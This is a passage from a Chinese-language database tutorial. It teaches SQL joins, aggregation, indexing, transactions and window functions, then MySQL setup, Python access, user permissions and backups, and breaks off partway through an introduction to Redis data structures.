上一章学了单表的增删改查,但实际项目中数据往往分散在多张表里。本章教你用 JOIN 把多张表的数据"拼"在一起,用 GROUP BY 做统计分析,用索引加速查询,用事务保证数据一致性。这些是 SQL 面试和实际开发的核心考点。

31.1 多表查询(JOIN)

生活类比

你有两张表:一张"学生表"记录学生信息,一张"成绩表"记录考试成绩。你想知道"张三考了多少分",就需要把两张表"关联"起来——这就是 JOIN 的作用。

-- 示例数据
CREATE TABLE students (
    id INT PRIMARY KEY,
    name VARCHAR(50)
);

CREATE TABLE scores (
    id INT PRIMARY KEY,
    student_id INT,
    subject VARCHAR(50),
    score DECIMAL(5,2),
    FOREIGN KEY (student_id) REFERENCES students(id)
);

INSERT INTO students VALUES (1, '张三'), (2, '李四'), (3, '王五');
INSERT INTO scores VALUES
    (1, 1, '数学', 92), (2, 1, '英语', 85),
    (3, 2, '数学', 78), (4, 2, '英语', 90),
    (5, 3, '数学', 88);

INNER JOIN(内连接)——只返回两边都有的

-- 查询每个学生的成绩
SELECT students.name, scores.subject, scores.score
FROM students
INNER JOIN scores ON students.id = scores.student_id;

-- 结果:
-- 张三 | 数学 | 92
-- 张三 | 英语 | 85
-- 李四 | 数学 | 78
-- 李四 | 英语 | 90
-- 王五 | 数学 | 88
-- 注意:没有英语成绩的王五只显示数学

LEFT JOIN(左连接)——保留左边所有行

-- 查询所有学生的成绩(包括没成绩的)
SELECT students.name, scores.subject, scores.score
FROM students
LEFT JOIN scores ON students.id = scores.student_id;

-- 结果:没有成绩的学生会显示 NULL

RIGHT JOIN(右连接)——保留右边所有行

-- MySQL 支持,SQLite 不支持
SELECT students.name, scores.subject, scores.score
FROM students
RIGHT JOIN scores ON students.id = scores.student_id;

CROSS JOIN(笛卡尔积)

-- 每个学生和每门课的组合(慎用,数据量会爆炸)
SELECT students.name, scores.subject
FROM students
CROSS JOIN scores;
JOIN 类型速查
类型说明使用场景
INNER JOIN只返回两边都匹配的行查有成绩的学生
LEFT JOIN保留左表所有行,右表没匹配的填 NULL查所有学生(包括没成绩的)
RIGHT JOIN保留右表所有行查所有成绩(包括没学生信息的)
CROSS JOIN笛卡尔积(每行×每行)生成组合(慎用)

31.2 子查询

-- 查询成绩高于平均分的学生
SELECT name, score FROM scores
WHERE score > (SELECT AVG(score) FROM scores);

-- 查询有成绩的学生信息
SELECT * FROM students
WHERE id IN (SELECT DISTINCT student_id FROM scores);

-- 在 FROM 中使用子查询(派生表)
SELECT avg_scores.subject, avg_scores.avg_score
FROM (
    SELECT subject, AVG(score) AS avg_score
    FROM scores
    GROUP BY subject
) AS avg_scores
WHERE avg_scores.avg_score > 85;

31.3 分组统计(GROUP BY)

-- 每个学生的平均分
SELECT student_id, AVG(score) AS avg_score
FROM scores
GROUP BY student_id;

-- 每个科目的统计
SELECT
    subject,
    COUNT(*) AS 人数,
    AVG(score) AS 平均分,
    MAX(score) AS 最高分,
    MIN(score) AS 最低分
FROM scores
GROUP BY subject;

-- 分组后过滤(HAVING)
SELECT student_id, AVG(score) AS avg_score
FROM scores
GROUP BY student_id
HAVING AVG(score) > 85;  -- 平均分大于 85 的学生
WHERE vs HAVING
  • WHERE:在分组前过滤行,不能用聚合函数
  • HAVING:在分组后过滤组,可以用聚合函数
-- ❌ 错误:WHERE 中不能用聚合函数
SELECT student_id, AVG(score) FROM scores WHERE AVG(score) > 85 GROUP BY student_id;

-- ✅ 正确:用 HAVING
SELECT student_id, AVG(score) FROM scores GROUP BY student_id HAVING AVG(score) > 85;

31.4 索引——查询加速器

生活类比

想象一本 500 页的书,你要找"索引"这个词。没有索引的话,你得从第 1 页翻到第 500 页。有了索引(书后面的"索引"部分),你直接翻到对应页码就行。索引就是数据库的"目录"。

-- 创建索引
CREATE INDEX idx_name ON users(name);

-- 创建唯一索引
CREATE UNIQUE INDEX idx_email ON users(email);

-- 创建复合索引(多列索引)
CREATE INDEX idx_name_age ON users(name, age);

-- 查看表的索引
SHOW INDEX FROM users;

-- 删除索引
DROP INDEX idx_name ON users;
索引使用原则
  • 经常出现在 WHERE 中的列应该加索引
  • 经常用于 JOIN 的列(外键)应该加索引
  • 经常用于 ORDER BY 的列应该加索引
  • 不要过度索引:每个索引都会占用空间,且拖慢 INSERT/UPDATE 速度
  • 区分度高的列适合加索引(如身份证号),区分度低的不适合(如性别)

31.5 事务——保证数据一致性

-- 事务示例:转账
BEGIN;  -- 开始事务

UPDATE accounts SET balance = balance - 100 WHERE name = '张三';
UPDATE accounts SET balance = balance + 100 WHERE name = '李四';

-- 如果没问题,提交
COMMIT;

-- 如果出问题,回滚
-- ROLLBACK;
原子性
事务中的操作要么全部成功,要么全部失败回滚
一致性
事务前后数据状态必须一致(如转账前后总金额不变)
隔离性
多个事务并发时互不干扰
持久性
事务提交后,数据永久保存
import sqlite3

conn = sqlite3.connect("bank.db")
cursor = conn.cursor()

cursor.execute("CREATE TABLE IF NOT EXISTS accounts (name TEXT, balance REAL)")
cursor.execute("INSERT OR IGNORE INTO accounts VALUES ('张三', 1000)")
cursor.execute("INSERT OR IGNORE INTO accounts VALUES ('李四', 500)")
conn.commit()

# 转账操作(用事务保证安全)
try:
    cursor.execute("BEGIN")
    cursor.execute("UPDATE accounts SET balance = balance - 100 WHERE name = '张三'")
    cursor.execute("UPDATE accounts SET balance = balance + 100 WHERE name = '李四'")
    conn.commit()
    print("转账成功")
except Exception as e:
    conn.rollback()
    print(f"转账失败:{e}")
finally:
    conn.close()

31.6 SQL 执行顺序

1
FROM — 确定数据来源(哪张表)
2
JOIN — 多表关联
3
WHERE — 行级过滤
4
GROUP BY — 分组
5
HAVING — 组级过滤
6
SELECT — 选择输出字段
7
DISTINCT — 去重
8
ORDER BY — 排序
9
LIMIT / OFFSET — 分页

31.7 CTE(公用表表达式)——WITH 子句

CTE 让你把复杂的查询拆成可读的"临时命名块",就像 SQL 中的"变量":

-- 基本 CTE:先算出每个部门的平均工资,再筛选
WITH dept_avg AS (
    SELECT department, AVG(salary) AS avg_salary
    FROM employees
    GROUP BY department
)
SELECT e.name, e.salary, d.avg_salary
FROM employees e
JOIN dept_avg d ON e.department = d.department
WHERE e.salary > d.avg_salary;
-- 找出所有工资高于部门平均的员工
-- 多个 CTE 链式使用
WITH
monthly_sales AS (
    SELECT DATE_FORMAT(order_date, '%Y-%m') AS month, SUM(amount) AS total
    FROM orders
    GROUP BY month
),
avg_sales AS (
    SELECT AVG(total) AS avg_total FROM monthly_sales
)
SELECT m.month, m.total,
    CASE WHEN m.total > a.avg_total THEN '高于平均' ELSE '低于平均' END AS status
FROM monthly_sales m, avg_sales a
ORDER BY m.month;
-- 递归 CTE:查组织架构的层级关系
WITH RECURSIVE org_tree AS (
    -- 锚点:顶级(没有上级的人)
    SELECT id, name, manager_id, 1 AS level
    FROM employees WHERE manager_id IS NULL
    UNION ALL
    -- 递归:找下属
    SELECT e.id, e.name, e.manager_id, t.level + 1
    FROM employees e
    JOIN org_tree t ON e.manager_id = t.id
)
SELECT * FROM org_tree ORDER BY level, id;

31.8 EXPLAIN——查看查询执行计划

EXPLAIN 让你看到 SQL 是怎么执行的——用了哪些索引、扫描了多少行、用了什么连接方式。这是优化慢查询的必备工具:

-- 基本用法
EXPLAIN SELECT * FROM users WHERE age > 25;

-- 输出关键列说明:
-- type    — 访问类型(性能从好到差:system > const > eq_ref > ref > range > index > ALL)
-- key     — 实际使用的索引(NULL 表示没用索引)
-- rows    — 预估扫描行数(越少越好)
-- Extra   — 额外信息(Using index=好, Using filesort=可能需要优化)
-- EXPLAIN ANALYZE(MySQL 8.0+,显示实际执行时间)
EXPLAIN ANALYZE SELECT u.name, COUNT(o.id) AS order_count
FROM users u
LEFT JOIN orders o ON u.id = o.user_id
GROUP BY u.id;

-- 实战:对比有无索引的差异
EXPLAIN SELECT * FROM users WHERE email = 'test@example.com';
-- 没索引:type=ALL, rows=10000(全表扫描)

CREATE INDEX idx_email ON users(email);
EXPLAIN SELECT * FROM users WHERE email = 'test@example.com';
-- 有索引:type=ref, rows=1(索引查找)
EXPLAIN type 字段速查(性能从好到差)
type含义说明
const主键/唯一索引等值查找最快,只读一行
eq_refJOIN 时主键等值匹配每个组合只读一行
ref非唯一索引等值查找可能返回多行
range索引范围扫描BETWEEN、>、< 等
index全索引扫描比 ALL 好,但还是扫描很多
ALL全表扫描最差,必须优化!

31.9 窗口函数——"分组但不折叠行"

窗口函数和 GROUP BY 类似,都能做聚合计算。但 GROUP BY 会把多行"折叠"成一行,窗口函数则保留每一行,在每行旁边显示聚合结果:

-- GROUP BY:每个部门的平均工资(只有部门名和平均值)
SELECT department, AVG(salary) AS avg_salary
FROM employees
GROUP BY department;
-- 3 行(3 个部门)

-- 窗口函数:每个员工旁边显示部门平均工资(保留所有行)
SELECT name, department, salary,
    AVG(salary) OVER (PARTITION BY department) AS dept_avg
FROM employees;
-- 100 行(所有员工)
-- 常用窗口函数

-- ROW_NUMBER():行号(分组内编号)
SELECT name, department, salary,
    ROW_NUMBER() OVER (PARTITION BY department ORDER BY salary DESC) AS rank
FROM employees;
-- 每个部门内按工资排名

-- RANK():排名(并列跳号:1, 1, 3)
-- DENSE_RANK():排名(并列不跳号:1, 1, 2)
SELECT name, score,
    RANK() OVER (ORDER BY score DESC) AS rank_val,
    DENSE_RANK() OVER (ORDER BY score DESC) AS dense_rank_val
FROM students;

-- LAG() / LEAD():访问前一行 / 后一行的值
SELECT month, revenue,
    LAG(revenue, 1) OVER (ORDER BY month) AS prev_month,
    revenue - LAG(revenue, 1) OVER (ORDER BY month) AS growth
FROM monthly_revenue;
-- 计算每月环比增长

-- SUM() OVER:累计求和
SELECT order_date, amount,
    SUM(amount) OVER (ORDER BY order_date) AS running_total
FROM orders;
-- 每行显示截至当天的累计金额
-- 窗口函数的 OVER 子句详解
-- PARTITION BY:分组(类似 GROUP BY,但不折叠)
-- ORDER BY:组内排序
-- ROWS BETWEEN:定义窗口范围

-- 移动平均(最近 3 行的平均值)
SELECT month, revenue,
    AVG(revenue) OVER (
        ORDER BY month
        ROWS BETWEEN 2 PRECEDING AND CURRENT ROW
    ) AS moving_avg_3
FROM monthly_revenue;

-- 累计百分比
SELECT name, score,
    SUM(score) OVER (ORDER BY score DESC) AS running_sum,
    SUM(score) OVER () AS total,
    ROUND(SUM(score) OVER (ORDER BY score DESC) * 100.0
          / SUM(score) OVER (), 2) AS cumulative_pct
FROM students;
GROUP BY vs 窗口函数——怎么选?
对比GROUP BY窗口函数
输出行数每组一行保留所有原始行
适用场景只需要汇总结果需要每行都带聚合值
典型用途统计各部门人数排名、累计、环比、移动平均
常见错误总结
  • JOIN 忘记 ON 条件:会产生笛卡尔积,数据量爆炸
  • WHERE 中用聚合函数:应该用 HAVING
  • GROUP BY 字段不一致:SELECT 中非聚合字段必须出现在 GROUP BY 中
  • 索引失效:对索引列使用函数(如 WHERE YEAR(date) = 2024)会导致索引失效
  • 事务不提交:BEGIN 后忘记 COMMIT,数据不会保存

第三十二章:MySQL 入门——安装与配置

本章导览

MySQL 是全球最流行的开源关系型数据库,被广泛应用于 Web 开发、企业应用和数据分析。本章教你从安装 MySQL 到用 Python 连接操作,掌握数据库开发的完整流程。

32.1 安装 MySQL

Windows 安装

1
访问 https://dev.mysql.com/downloads/installer/ 下载 MySQL Installer
2
选择 "Developer Default" 或 "Server only" 安装类型
3
设置 root 密码(记住这个密码!)
4
配置端口(默认 3306)和服务名
5
安装完成后,打开命令行输入 mysql -u root -p 测试

macOS 安装(Homebrew)

# 安装 MySQL
brew install mysql

# 启动 MySQL 服务
brew services start mysql

# 设置 root 密码
mysql_secure_installation

# 登录
mysql -u root -p

Linux 安装(Ubuntu)

# 更新包列表
sudo apt update

# 安装 MySQL
sudo apt install mysql-server

# 启动服务
sudo systemctl start mysql

# 安全配置
sudo mysql_secure_installation

# 登录
sudo mysql -u root -p

32.2 MySQL 基本操作

-- 登录 MySQL
-- mysql -u root -p

-- 查看所有数据库
SHOW DATABASES;

-- 创建数据库
CREATE DATABASE school;
CREATE DATABASE school DEFAULT CHARSET utf8mb4;  -- 支持中文和 emoji

-- 切换数据库
USE school;

-- 查看当前数据库
SELECT DATABASE();

-- 查看所有表
SHOW TABLES;

-- 查看表结构
DESC users;
SHOW CREATE TABLE users;  -- 查看建表语句

-- 删除数据库
DROP DATABASE IF EXISTS school;

32.3 MySQL 数据类型

数值类型
类型字节范围用途
TINYINT1-128 ~ 127状态码、标志位
SMALLINT2-32768 ~ 32767小整数
INT4-21亿 ~ 21亿常用整数
BIGINT8极大范围主键、大数值
FLOAT4单精度科学计算
DOUBLE8双精度一般浮点数
DECIMAL(m,d)可变精确金额、价格
字符串类型
类型最大长度用途
CHAR(n)255 字符固定长度(如手机号 CHAR(11))
VARCHAR(n)65535 字符可变长度(如姓名、邮箱)
TEXT65535 字节长文本(如文章内容)
MEDIUMTEXT1600 万字节超长文本
LONGTEXT42 亿字节巨大文本
日期时间类型
类型格式用途
DATEYYYY-MM-DD生日、日期
TIMEHH:MM:SS时间
DATETIMEYYYY-MM-DD HH:MM:SS创建时间、更新时间
TIMESTAMPYYYY-MM-DD HH:MM:SS自动更新的时间戳
YEARYYYY年份

32.4 Python 连接 MySQL(pymysql)

# 安装:pip install pymysql
import pymysql

# 连接数据库
conn = pymysql.connect(
    host='localhost',
    port=3306,
    user='root',
    password='your_password',
    database='school',
    charset='utf8mb4'
)

cursor = conn.cursor()

# 创建表
cursor.execute("""
    CREATE TABLE IF NOT EXISTS students (
        id INT PRIMARY KEY AUTO_INCREMENT,
        name VARCHAR(50) NOT NULL,
        age INT,
        score DECIMAL(5,2),
        created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
    )
""")

# 插入数据
cursor.execute(
    "INSERT INTO students (name, age, score) VALUES (%s, %s, %s)",
    ('张三', 18, 92.5)
)
conn.commit()

# 批量插入
students = [
    ('李四', 20, 85.0),
    ('王五', 19, 78.5),
    ('赵六', 21, 96.0)
]
cursor.executemany("INSERT INTO students (name, age, score) VALUES (%s, %s, %s)", students)
conn.commit()

# 查询
cursor.execute("SELECT * FROM students WHERE age > %s", (18,))
for row in cursor.fetchall():
    print(row)

# 更新
cursor.execute("UPDATE students SET score = %s WHERE name = %s", (95.0, '张三'))
conn.commit()

# 删除
cursor.execute("DELETE FROM students WHERE score < %s", (80,))
conn.commit()

# 关闭
cursor.close()
conn.close()
pymysql vs mysql-connector-python
库安装特点
pymysqlpip install pymysql纯 Python 实现,安装简单,性能好
mysql-connector-pythonpip install mysql-connector-python官方驱动,功能更全
SQLAlchemypip install sqlalchemy pymysqlORM 框架,支持多种数据库

32.5 使用连接池

# 安装:pip install dbutils
from dbutils.pooled_db import PooledDB
import pymysql

# 创建连接池
pool = PooledDB(
    creator=pymysql,
    maxconnections=10,       # 最大连接数
    mincached=2,             # 最小空闲连接
    maxcached=5,             # 最大空闲连接
    blocking=True,           # 连接耗尽时是否阻塞等待
    host='localhost',
    user='root',
    password='your_password',
    database='school',
    charset='utf8mb4'
)

def get_user(user_id):
    conn = pool.connection()  # 从池中获取连接
    try:
        cursor = conn.cursor()
        cursor.execute("SELECT * FROM students WHERE id = %s", (user_id,))
        return cursor.fetchone()
    finally:
        conn.close()  # 归还连接到池中(不是真正关闭)

# 使用
user = get_user(1)
print(user)
常见错误总结
  • 密码错误:连接时提示 "Access denied",检查用户名密码
  • 数据库不存在:先 CREATE DATABASE 再连接
  • 字符集问题:中文乱码用 charset='utf8mb4'
  • 忘记 commit():INSERT/UPDATE 后必须 commit
  • 连接不关闭:用连接池或 with 语句管理连接
  • 端口被占用:检查 3306 端口是否被其他服务占用

第三十三章:MySQL 进阶——用户管理与备份

本章导览

掌握了 SQL 基础和 Python 连接 MySQL 后,本章深入 MySQL 的高级功能:用户权限管理、视图、存储过程、触发器、以及数据库备份与恢复。这些是生产环境必备的技能。

33.1 用户管理

-- 创建用户
CREATE USER 'dev'@'localhost' IDENTIFIED BY 'password123';
CREATE USER 'dev'@'%' IDENTIFIED BY 'password123';  -- 允许远程连接

-- 授权
GRANT SELECT ON school.* TO 'dev'@'localhost';           -- 只读权限
GRANT SELECT, INSERT, UPDATE ON school.* TO 'dev'@'localhost';  -- 读写权限
GRANT ALL PRIVILEGES ON school.* TO 'admin'@'localhost'; -- 所有权限

-- 刷新权限
FLUSH PRIVILEGES;

-- 查看权限
SHOW GRANTS FOR 'dev'@'localhost';

-- 撤销权限
REVOKE INSERT ON school.* FROM 'dev'@'localhost';

-- 删除用户
DROP USER 'dev'@'localhost';

-- 修改密码
ALTER USER 'dev'@'localhost' IDENTIFIED BY 'new_password';
权限最小化原则
  • 应用账号只给 SELECT, INSERT, UPDATE, DELETE,不要给 DROP、ALTER
  • 开发环境和生产环境用不同账号
  • root 账号只用于管理,不用于应用连接
  • 远程访问限制 IP:'user'@'192.168.1.%'

33.2 视图(VIEW)

-- 创建视图(虚拟表,不存储数据)
CREATE VIEW v_student_scores AS
SELECT
    s.name AS student_name,
    sc.subject,
    sc.score
FROM students s
JOIN scores sc ON s.id = sc.student_id;

-- 使用视图(像普通表一样查询)
SELECT * FROM v_student_scores WHERE score > 90;

-- 修改视图
CREATE OR REPLACE VIEW v_student_scores AS
SELECT
    s.name AS student_name,
    sc.subject,
    sc.score,
    CASE
        WHEN sc.score >= 90 THEN '优秀'
        WHEN sc.score >= 80 THEN '良好'
        WHEN sc.score >= 60 THEN '及格'
        ELSE '不及格'
    END AS grade
FROM students s
JOIN scores sc ON s.id = sc.student_id;

-- 删除视图
DROP VIEW IF EXISTS v_student_scores;
视图的用途
  • 简化复杂查询:把复杂的 JOIN 封装成视图,直接 SELECT
  • 权限控制:只暴露部分字段给用户,隐藏敏感数据
  • 数据安全:通过视图限制用户只能看到特定数据

33.3 存储过程

-- 创建存储过程
DELIMITER //

CREATE PROCEDURE sp_get_students_by_age(IN min_age INT)
BEGIN
    SELECT * FROM students WHERE age >= min_age;
END //

DELIMITER ;

-- 调用存储过程
CALL sp_get_students_by_age(18);

-- 带输出参数的存储过程
DELIMITER //

CREATE PROCEDURE sp_count_students(
    IN min_age INT,
    OUT student_count INT
)
BEGIN
    SELECT COUNT(*) INTO student_count
    FROM students
    WHERE age >= min_age;
END //

DELIMITER ;

-- 调用
CALL sp_count_students(18, @count);
SELECT @count;  -- 查看结果

-- 删除存储过程
DROP PROCEDURE IF EXISTS sp_get_students_by_age;

33.4 触发器

-- 创建日志表
CREATE TABLE score_logs (
    id INT PRIMARY KEY AUTO_INCREMENT,
    student_name VARCHAR(50),
    old_score DECIMAL(5,2),
    new_score DECIMAL(5,2),
    changed_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- 创建触发器:成绩更新时自动记录日志
DELIMITER //

CREATE TRIGGER trg_score_update
AFTER UPDATE ON scores
FOR EACH ROW
BEGIN
    INSERT INTO score_logs (student_name, old_score, new_score)
    VALUES (
        (SELECT name FROM students WHERE id = NEW.student_id),
        OLD.score,
        NEW.score
    );
END //

DELIMITER ;

-- 测试:更新成绩,触发器自动记录日志
UPDATE scores SET score = 95 WHERE id = 1;
SELECT * FROM score_logs;

-- 删除触发器
DROP TRIGGER IF EXISTS trg_score_update;
触发器注意事项
  • NEW:引用新数据(INSERT 或 UPDATE 后的值)
  • OLD:引用旧数据(UPDATE 前或 DELETE 前的值)
  • 触发器会增加写操作的开销,不要滥用
  • 调试困难,复杂逻辑建议放在应用层

33.5 备份与恢复

使用 mysqldump 备份

# 备份单个数据库
mysqldump -u root -p school > school_backup.sql

# 备份多个数据库
mysqldump -u root -p --databases school test > backup.sql

# 备份所有数据库
mysqldump -u root -p --all-databases > all_backup.sql

# 只备份表结构(不含数据)
mysqldump -u root -p --no-data school > school_structure.sql

# 只备份数据(不含结构)
mysqldump -u root -p --no-create-info school > school_data.sql

# 压缩备份
mysqldump -u root -p school | gzip > school_backup.sql.gz

恢复数据库

# 恢复数据库
mysql -u root -p school < school_backup.sql

# 恢复压缩备份
gunzip < school_backup.sql.gz | mysql -u root -p school

# 在 MySQL 命令行中恢复
# mysql> USE school;
# mysql> SOURCE /path/to/school_backup.sql;

定时备份脚本

import subprocess
import datetime
import os

def backup_mysql():
    # 备份配置
    host = 'localhost'
    user = 'root'
    password = 'your_password'
    database = 'school'
    backup_dir = './backups'

    # 创建备份目录
    os.makedirs(backup_dir, exist_ok=True)

    # 生成备份文件名
    timestamp = datetime.datetime.now().strftime('%Y%m%d_%H%M%S')
    filename = f"{database}_{timestamp}.sql"
    filepath = os.path.join(backup_dir, filename)

    # 执行备份
    cmd = f"mysqldump -h {host} -u {user} -p{password} {database} > {filepath}"
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)

    if result.returncode == 0:
        print(f"备份成功:{filepath}")

        # 清理 7 天前的备份
        cleanup_old_backups(backup_dir, days=7)
    else:
        print(f"备份失败:{result.stderr}")

def cleanup_old_backups(backup_dir, days=7):
    """删除指定天数前的备份文件"""
    now = datetime.datetime.now()
    for filename in os.listdir(backup_dir):
        filepath = os.path.join(backup_dir, filename)
        file_time = datetime.datetime.fromtimestamp(os.path.getmtime(filepath))
        if (now - file_time).days > days:
            os.remove(filepath)
            print(f"已删除旧备份:{filename}")

if __name__ == "__main__":
    backup_mysql()

33.6 MySQL 配置优化

# my.cnf / my.ini 配置文件

[mysqld]
# 基础配置
port = 3306
max_connections = 200          # 最大连接数
wait_timeout = 28800           # 空闲连接超时(秒)

# InnoDB 配置
innodb_buffer_pool_size = 1G   # 缓冲池大小(建议设为物理内存的 70%)
innodb_log_file_size = 256M    # 日志文件大小
innodb_flush_log_at_trx_commit = 1  # 1=每次提交刷盘(最安全)

# 查询缓存(MySQL 8.0 已移除)
# query_cache_type = 1
# query_cache_size = 64M

# 慢查询日志
slow_query_log = 1
slow_query_log_file = /var/log/mysql/slow.log
long_query_time = 2            # 超过 2 秒的查询记录到慢日志
常见错误总结
  • 备份忘记 --single-transaction:InnoDB 表备份时加此参数避免锁表
  • 恢复时数据库不存在:先 CREATE DATABASE 再恢复
  • 权限混乱:GRANT 后要 FLUSH PRIVILEGES
  • 触发器死循环:A 触发 B,B 又触发 A,要避免
  • 存储过程 DELIMITER 问题:命令行中要先改分隔符再写过程
  • 备份文件太大:用 gzip 压缩或分表备份

第三十四章:Redis 入门——缓存与数据结构

本章导览

Redis 是当今最流行的内存数据库,被广泛用于缓存、会话管理、排行榜、消息队列等场景。它比 MySQL 快 100 倍(因为数据在内存中),支持丰富的数据结构(字符串、哈希、列表、集合、有序集合)。本章从零开始教你 Redis 的安装、基本操作和 Python 连接使用。

34.1 什么是 Redis?

生活类比

如果 MySQL 是图书馆的书架(数据存在硬盘上,查找需要时间),那 Redis 就是你桌上的便签纸(数据存在内存中,随手就能拿到)。便签纸虽然容量小,但速度快啊!Redis 就是用来存放那些"经常要用、但丢了也没关系"的数据。

内存存储
数据存在内存中,读写速度极快(10万+ QPS)
丰富数据结构
String、Hash、List、Set、Sorted Set、Stream 等
持久化
支持 RDB 快照和 AOF 日志两种持久化方式
过期机制
可以给 key 设置过期时间,自动删除,非常适合缓存

34.2 安装 Redis

Windows 安装

# Windows 官方不支持 Redis,推荐用以下方式:

# 方式一:使用 Memurai(Redis 的 Windows 替代品)
# 下载:https://www.memurai.com/get-memurai

# 方式二:使用 WSL2(推荐)
wsl --install
# 在 WSL 中安装 Redis
sudo apt update
sudo apt install redis-server
sudo service redis-server start

# 方式三:使用 Docker
docker run -d --name redis -p 6379:6379 redis:latest

macOS 安装

# 使用 Homebrew
brew install redis

# 启动 Redis
brew services start redis

# 或者前台运行
redis-server

# 测试连接
redis-cli ping  # 返回 PONG 表示成功

Linux 安装(Ubuntu)

# 安装
sudo apt update
sudo apt install redis-server

# 启动服务
sudo systemctl start redis
sudo systemctl enable redis  # 开机自启

# 测试连接
redis-cli ping  # 返回 PONG

34.3 Redis 基本命令

# 连接 Redis
redis-cli

# ===== 数据库操作 =====
SELECT 0          # 切换到数据库 0(默认有 16 个数据库,编号 0-15)
SELECT 1          # 切换到数据库 1
DBSIZE            # 当前数据库的 key 数量
KEYS *            # 查看所有 key(生产环境慎用!)
FLUSHDB           # 清空当前数据库
FLUSHALL          # 清空所有数据库(极度危险!)

34.4 String(字符串)——最常用的数据类型

# ===== 基本操作 =====
SET name "张三"                # 设置 key-value
GET name                       # 获取 value → "张三"
SETNX name "李四"              # 仅当 key 不存在时设置(分布式锁常用)
SETEX token 3600 "abc123"      # 设置并指定过期时间(秒)
MSET k1 "v1" k2 "v2" k3 "v3"  # 批量设置
MGET k1 k2 k3                  # 批量获取

# ===== 数值操作 =====
SET counter 100
INCR counter           # +1 → 101
DECR counter           # -1 → 100
INCRBY counter 10      # +10 → 110
DECRBY counter 5       # -5 → 105
APPEND name "你好"      # 追加字符串
STRLEN name            # 字符串长度

# ===== 过期时间 =====
EXPIRE name 60         # 设置 60 秒后过期
TTL name               # 查看剩余过期时间(-1=永不过期,-2=已过期)
PERSIST name           # 移除过期时间

# ===== 实际应用 =====
# 1. 缓存用户信息
SET user:1001 '{"name":"张三","age":18}' EX 3600  # 缓存1小时

# 2. 验证码(5分钟过期)
SET sms:13800138000 "123456" EX 300

# 3. 计数器
INCR article:1001:views  # 文章浏览数 +1

# 4. 分布式锁
SETNX lock:order:1001 "locked"  # 获取锁
# 用完后删除
DEL lock:order:1001

34.5 Hash(哈希)——存储对象

# ===== 基本操作 =====
HSET user:1001 name "张三" age 18 email "zhangsan@email.com"  # 设置多个字段
HGET user:1001 name           # 获取单个字段 → "张三"
HMGET user:1001 name age      # 获取多个字段
HGETALL user:1001             # 获取所有字段和值
HDEL user:1001 email          # 删除字段
HEXISTS user:1001 name        # 判断字段是否存在
HLEN user:1001                # 字段数量

# ===== 数值操作 =====
HINCRBY user:1001 age 1       # age +1 → 19

# ===== 实际应用 =====
# 1. 存储用户信息(比 String JSON 更灵活,可以单独修改某个字段)
HSET user:1001 name "张三" age 18
HSET user:1001 age 19         # 只修改 age,不影响其他字段

# 2. 存储商品信息
HSET product:1001 name "iPhone 15" price 7999 stock 100
HINCRBY product:1001 stock -1  # 库存 -1

# 3. 购物车
HSET cart:user:1001 product:1001 2    # 商品1001 数量2
HSET cart:user:1001 product:1002 1    # 商品1002 数量1
HGETALL cart:user:1001                # 查看购物车
HINCRBY cart:user:1001 product:1001 1 # 商品1001 数量+1
HDEL cart:user:1001 product:1002      # 删除商品1002

34.6 List(列表)——队列和栈

# ===== 基本操作 =====
LPUSH queue "task1" "task2" "task3"  # 从左边插入
RPUSH queue "task4"                  # 从右边插入
LPOP queue                           # 从左边弹出 → "task3"
RPOP queue                           # 从右边弹出 → "task4"
LLEN queue                           # 列表长度
LRANGE queue 0 -1                    # 获取所有元素
LRANGE queue 0 2                     # 获取前3个元素
LINDEX queue 0                       # 获取指定索引的元素

# ===== 阻塞操作(消息队列常用)=====
BLPOP queue 30    # 从左边弹出,如果没有元素则阻塞等待30秒
BRPOP queue 30    # 从右边弹出,阻塞等待

# ===== 实际应用 =====
# 1. 消息队列
LPUSH mq:order '{"order_id":1001,"amount":99.9}'  # 生产者
BRPOP mq:order 0                                    # 消费者(0=永久阻塞)

# 2. 最新消息列表(只保留最近100条)
LPUSH latest:news '{"title":"新闻1"}'
LTRIM latest:news 0 99  # 只保留前100条

# 3. 任务队列
LPUSH tasks '{"type":"send_email","to":"user@email.com"}'
LPUSH tasks '{"type":"generate_report","user_id":1001}'

# Worker 消费
while True:
    task = BRPOP tasks, 0  # 阻塞等待任务
    process(task)

34.7 Set(集合)——去重和交并差集

# ===== 基本操作 =====
SADD tags "python" "redis" "mysql"    # 添加元素
SMEMBERS tags                          # 获取所有元素
SISMEMBER tags "python"               # 判断是否存在 → 1
SCARD tags                             # 元素数量
SREM tags "mysql"                      # 删除元素
SRANDMEMBER tags 2                     # 随机获取2个元素

# ===== 集合运算 =====
SADD user:1001:friends "A" "B" "C" "D"
SADD user:1002:friends "B" "C" "E" "F"

SINTER user:1001:friends user:1002:friends    # 交集 → B, C(共同好友)
SUNION user:1001:friends user:1002:friends    # 并集 → A,B,C,D,E,F
SDIFF user:1001:friends user:1002:friends     # 差集 → A, D(你有他没有的)

# ===== 实际应用 =====
# 1. 标签系统
SADD article:1001:tags "python" "redis" "tutorial"
SADD article:1002:tags "python" "mysql" "beginner"
SINTER article:1001:tags article:1002:tags  # 共同标签

# 2. 共同好友
SADD user:1001:following "A" "B" "C"
SADD user:1002:following "B" "C" "D"
SINTER user:1001:following user:1002:following  # 共同关注

# 3. 抽奖系统
SADD lottery:2024 "user1" "user2" "user3" "user4" "user5"
SRANDMEMBER lottery:2024 1    # 随机抽1个(不删除)
SPOP lottery:2024 1           # 随机抽1个(删除,不能重复中奖)

# 4. 去重(已读消息)
SADD user:1001:read "msg:101" "msg:102"
SISMEMBER user:1001:read "msg:103"  # 判断是否已读

34.8 Sorted Set(有序集合)——排行榜

# ===== 基本操作 =====
ZADD leaderboard 100 "张三" 85 "李四" 92 "王五" 78 "赵六"  # 添加带分数的元素
ZRANGE leaderboard 0 -1 WITHSCORES                         # 按分数升序
ZREVRANGE leaderboard 0 2 WITHSCORES                       # 按分数降序,前3名
ZSCORE leaderboard "张三"                                   # 获取分数 → 100
ZRANK leaderboard "张三"                                    # 排名(升序)→ 0
ZREVRANK leaderboard "张三"                                 # 排名(降序)→ 0
ZCARD leaderboard                                           # 元素数量
ZINCRBY leaderboard 5 "李四"                                # 分数 +5

# ===== 范围查询 =====
ZREVRANGE leaderboard 0 2 WITHSCORES    # 前3名(降序)
ZRANGEBYSCORE leaderboard 80 100         # 分数在80-100之间的
ZREMRANGEBYSCORE leaderboard 0 60        # 删除分数60以下的

# ===== 实际应用 =====
# 1. 排行榜
